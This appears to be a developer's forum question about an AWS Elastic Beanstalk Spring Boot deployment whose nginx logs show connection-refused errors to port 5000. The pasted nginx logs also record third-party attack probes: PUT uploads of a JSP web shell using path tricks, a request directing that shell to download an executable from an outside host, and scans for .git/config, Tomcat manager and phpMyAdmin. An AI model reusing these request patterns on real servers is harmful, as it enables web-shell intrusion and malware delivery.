      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
      2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
      2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
      2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
      2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
      2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
      2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"




      /var/log/eb-activity.log



       creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
       creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


      extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

      inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

      inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

      creating: /var/app/staging/StudentCousr/target/test-classes/
      Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
      [foreman export] writing: application.conf
      Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



      Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



      [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
      [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
      [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
      Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



      Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
      nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
      nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
      Application restart - Command CMD-RestartAppServer stage 0 completed
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
      [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
      [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
      Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



      Process termination taking longer than 10 seconds.
      Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
      listener:supervisor_listener: stopped
      Executing: /sbin/status supervisord
      supervisord start/running, process 3598
      Executing: /sbin/stop supervisord
      supervisord stop/waiting
      [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
      [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
      Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



      [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
      [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
      [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
      [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
      Executing: service nginx stop
      Stopping nginx: [ OK ]
      [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
      [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
      Executing: /sbin/start supervisord
      supervisord start/running, process 13637
      [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
      [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
      Executing: service nginx stop



      Executing: service nginx start
      Starting nginx: [ OK ]
      Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



      Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



      Executing: /opt/elasticbeanstalk/bin/healthd-restart



      [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
      Application restart - Command CMD-RestartAppServer stage 1 completed
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
      Disabled forced hourly log rotation.
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
      Application restart - Command CMD-RestartAppServer succeeded
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
      CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
      CMD-TailLogs - Command CMD-TailLogs succeeded
      [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...







    java spring amazon-web-services spring-boot amazon-elastic-beanstalk







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      • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

      • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

      • I collected error logs and researched shows results related to nginx connection lost issue

      • can you guys help to me figure out what mistake occured with your suggestions

      • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


      • Mentioned errors in the log file are



        /var/log/nginx/error.log




        2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
        2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
        2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
        2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
